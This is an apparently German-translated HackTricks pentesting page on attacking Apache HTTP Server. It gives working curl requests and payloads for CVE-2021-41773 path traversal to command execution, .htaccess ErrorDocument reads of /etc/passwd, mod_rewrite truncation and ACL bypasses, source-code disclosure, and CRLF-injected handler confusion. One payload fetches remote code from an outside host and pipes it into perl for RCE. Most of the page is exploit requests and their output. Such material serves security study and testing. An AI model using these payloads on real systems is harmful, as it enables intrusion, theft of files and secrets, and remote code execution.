Apache

Reading time: 12 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Ausführbare PHP-Erweiterungen

Überprüfe, welche Erweiterungen der Apache-Server ausführt. Um sie zu finden, kannst du folgenden Befehl ausführen:

bash
grep -R -B1 "httpd-php" /etc/apache2

Außerdem sind einige Orte, an denen Sie diese Konfiguration finden können:

bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

bash
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

LFI über .htaccess ErrorDocument Dateianbieter (ap_expr)

Wenn du die .htaccess eines Verzeichnisses kontrollieren kannst und AllowOverride FileInfo für diesen Pfad eingeschlossen ist, kannst du 404-Antworten in beliebige lokale Dateilesen umwandeln, indem du die ap_expr file()-Funktion innerhalb von ErrorDocument verwendest.

  • Anforderungen:
  • Apache 2.4 mit aktiviertem Expression-Parser (ap_expr) (Standard in 2.4).
  • Der vhost/dir muss .htaccess erlauben, ErrorDocument zu setzen (AllowOverride FileInfo).
  • Der Apache worker user muss Leseberechtigungen für die Zieldatei haben.

.htaccess payload:

apache
# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}

Löse dies aus, indem du einen beliebigen nicht vorhandenen Pfad unterhalb dieses Verzeichnisses anforderst, zum Beispiel beim Missbrauch von userdir-style hosting:

bash
curl -s http://target/~user/does-not-exist | sed -n '1,20p'

Hinweise und Tipps:

  • Es funktionieren nur absolute Pfade. Der Inhalt wird als Antwortkörper des 404-Handlers zurückgegeben.
  • Die effektiven Lese-Rechte entsprechen dem Apache-Benutzer (typischerweise www-data/apache). In Standard-Setups kannst du nicht /root/* oder /etc/shadow lesen.
  • Selbst wenn .htaccess root-owned ist, falls das übergeordnete Verzeichnis tenant-owned ist und rename erlaubt, kannst du möglicherweise das originale .htaccess umbenennen und per SFTP/FTP eine eigene Ersatzdatei hochladen:
  • rename .htaccess .htaccess.bk
  • put your malicious .htaccess
  • Nutze dies, um Anwendungsquellcode unter DocumentRoot oder vhost config paths zu lesen und Secrets (DB creds, API keys, etc.) zu sammeln.

Confusion Attack

These types of attacks has been introduced and documented by Orange in this blog post and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.

Filename Confusion

Truncation

The mod_rewrite will trim the content of r->filename after the character ? (modules/mappers/mod_rewrite.c#L4141). This isn't totally wrong as most modules will treat r->filename as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.

  • Path Truncation

Es ist möglich, mod_rewrite wie im folgenden Regelbeispiel zu missbrauchen, um auf andere Dateien im Dateisystem zuzugreifen, indem der letzte Teil des erwarteten Pfads entfernt wird, einfach indem ein ? hinzugefügt wird:

bash
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
  • Irreführende RewriteFlag-Zuweisung

In der folgenden RewriteRule wird eine URL, solange sie auf .php endet, als php behandelt und ausgeführt. Daher ist es möglich, eine URL zu senden, die nach dem ?-Zeichen auf .php endet, während im Pfad ein anderes Dateiformat (z. B. ein Bild) geladen wird, das bösartigen php-Code enthält:

bash
RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

ACL Bypass

Es ist möglich, auf Dateien zuzugreifen, auf die der Benutzer eigentlich keinen Zugriff haben sollte, selbst wenn der Zugriff durch Konfigurationen wie diese verweigert sein sollte:

xml
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

Das liegt daran, dass PHP-FPM standardmäßig URLs erhält, die auf .php enden, wie http://server/admin.php%3Fooo.php, und weil PHP-FPM alles nach dem Zeichen ? entfernt, erlaubt die vorherige URL das Laden von /admin.php, selbst wenn die vorherige Regel dies verboten hat.

DocumentRoot-Verwirrung

bash
DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

Eine interessante Tatsache über Apache ist, dass das vorherige Rewrite versuchen wird, die Datei sowohl aus dem documentRoot als auch aus root zu öffnen. Eine Anfrage an https://server/abouth.html prüft also auf die Datei in /var/www/html/about.html und /about.html im Dateisystem. Das kann im Grunde missbraucht werden, um auf Dateien im Dateisystem zuzugreifen.

Serverseitige Source Code Disclosure

  • CGI Source Code offenlegen

Einfaches Anhängen von %3F am Ende reicht aus, um den Source Code eines cgi-Moduls zu leak:

bash
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
  • PHP-Quellcode offenlegen

Wenn ein Server mehrere Domains hat, wobei eine davon eine statische Domain ist, kann dies missbraucht werden, um das Dateisystem zu traversieren und leak php code:

bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php

Local Gadgets Manipulation

Das Hauptproblem beim vorherigen Angriff ist, dass standardmäßig die meisten Zugriffe auf das Dateisystem, wie in Apache HTTP Server’s configuration template:

xml
<Directory />
AllowOverride None
Require all denied
</Directory>

Allerdings erlauben Debian/Ubuntu Betriebssysteme standardmäßig /usr/share:

xml
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

Daher wäre es möglich, Dateien innerhalb von /usr/share in diesen Distributionen zu missbrauchen.

Local Gadget to Information Disclosure

  • Apache HTTP Server mit websocketd kann das Skript dump-env.php unter /usr/share/doc/websocketd/examples/php/ exponieren, was sensible Umgebungsvariablen leak.
  • Server mit Nginx oder Jetty könnten sensible Webanwendungsinformationen (z. B. web.xml) über ihre Standard-Webroots unter /usr/share exponieren:
  • /usr/share/nginx/html/
  • /usr/share/jetty9/etc/
  • /usr/share/jetty9/webapps/

Local Gadget to XSS

  • Auf Ubuntu Desktop mit installiertem LibreOffice kann das Ausnutzen der Sprachumschaltfunktion der Hilfedateien zu Cross-Site Scripting (XSS) führen. Das Manipulieren der URL bei /usr/share/libreoffice/help/help.html kann auf bösartige Seiten oder ältere Versionen umleiten durch eine unsichere RewriteRule.

Local Gadget to LFI

  • Wenn PHP oder bestimmte Frontend-Pakete wie JpGraph oder jQuery-jFeed installiert sind, können deren Dateien ausgenutzt werden, um sensible Dateien wie /etc/passwd zu lesen:
  • /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
  • /usr/share/javascript/jquery-jfeed/proxy.php
  • /usr/share/moodle/mod/assignment/type/wims/getcsv.php

Local Gadget to SSRF

  • Die Nutzung von MagpieRSSs magpie_debug.php unter /usr/share/php/magpierss/scripts/magpie_debug.php kann einfach eine SSRF-Schwachstelle erzeugen und dadurch ein Tor zu weiteren Exploits öffnen.

Local Gadget to RCE

  • Möglichkeiten für Remote Code Execution (RCE) sind zahlreich, etwa durch verwundbare Installationen wie veraltetes PHPUnit oder phpLiteAdmin. Diese können ausgenutzt werden, um beliebigen Code auszuführen und zeigen das hohe Potenzial der Manipulation lokaler Gadgets.

Jailbreak from Local Gadgets

Es ist auch möglich, aus den erlaubten Ordnern auszubrechen, indem man Symlinks folgt, die von installierter Software in diesen Ordnern erzeugt wurden, wie:

  • Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
  • Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
  • Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
  • MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
  • SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

Außerdem war es durch Missbrauch von Symlinks möglich, RCE in Redmine zu erhalten.

Handler Confusion

Dieser Angriff nutzt die Überschneidung der Funktionalität zwischen den Direktiven AddHandler und AddType, die beide verwendet werden können, um PHP-Verarbeitung zu ermöglichen. Ursprünglich betrafen diese Direktiven unterschiedliche Felder (resp. r->handler und r->content_type) in der internen Serverstruktur. Aufgrund von Legacy-Code behandelt Apache diese Direktiven jedoch unter bestimmten Bedingungen austauschbar, indem r->content_type in r->handler umgewandelt wird, falls ersteres gesetzt ist und letzteres nicht.

Außerdem, im Apache HTTP Server (server/config.c#L420), wenn r->handler vor dem Aufruf von ap_run_handler() leer ist, verwendet der Server r->content_type als Handler, wodurch AddType und AddHandler praktisch dieselbe Wirkung haben.

Overwrite Handler to Disclose PHP Source Code

In this talk wurde eine Schwachstelle vorgestellt, bei der eine falsche Content-Length, die ein Client sendet, dazu führen kann, dass Apache irrtümlich den PHP-Quellcode zurückgibt. Dies lag an einem Fehler im Fehlerhandling mit ModSecurity und dem Apache Portable Runtime (APR), bei dem eine doppelte Antwort dazu führt, dass r->content_type auf text/html überschrieben wird.\ Weil ModSecurity Rückgabewerte nicht korrekt behandelt, würde es den PHP-Code zurückgeben und ihn nicht interpretieren.

Overwrite Handler to XXXX

TODO: Orange hat diese Schwachstelle noch nicht bekanntgegeben

Invoke Arbitrary Handlers

Wenn ein Angreifer die Content-Type-Header einer Serverantwort kontrollieren kann, wird er beliebige Modul-Handler aufrufen können. Zu dem Zeitpunkt, an dem der Angreifer dies kontrolliert, ist jedoch bereits der Großteil der Anfrageverarbeitung abgeschlossen. Es ist jedoch möglich, den Anfrageprozess durch Missbrauch des Location-Headers neu zu starten, denn wenn der zurückgegebene Status 200 ist und der Location-Header mit einem / beginnt, wird die Antwort als serverseitige Umleitung behandelt und erneut verarbeitet

According to RFC 3875 (specification about CGI) in Section 6.2.2 defines a Local Redirect Response behavior:

The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.

Um diesen Angriff durchzuführen, wird eine der folgenden Schwachstellen benötigt:

  • CRLF Injection in the CGI response headers
  • SSRF with complete control of the response headers

Arbitrary Handler to Information Disclosure

Zum Beispiel sollte /server-status nur lokal zugänglich sein:

xml
<Location /server-status>
SetHandler server-status
Require local
</Location>

Es ist möglich, darauf zuzugreifen, indem man Content-Type auf server-status setzt und den Location-Header so setzt, dass er mit / beginnt.

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

Beliebiger Handler zu vollständigem SSRF

Weiterleitung an mod_proxy, um auf jedes Protokoll bei jeder URL zuzugreifen:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a

Allerdings wird der Header X-Forwarded-For hinzugefügt, was den Zugriff auf Cloud-Metadaten-Endpunkte verhindert.

Beliebiger Handler zum Zugriff auf lokale Unix Domain Socket

Greife auf den lokalen Unix Domain Socket von PHP-FPM zu, um eine in /tmp/ abgelegte PHP-Backdoor auszuführen:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

Arbitrary Handler to RCE

Das offizielle PHP Docker Image enthält PEAR (Pearcmd.php), ein Kommandozeilen-PHP-Paketverwaltungs-Tool, das missbraucht werden kann, um RCE zu erlangen:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Siehe Docker PHP LFI Summary, geschrieben von Phith0n für Details zu dieser Technik.

Quellen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks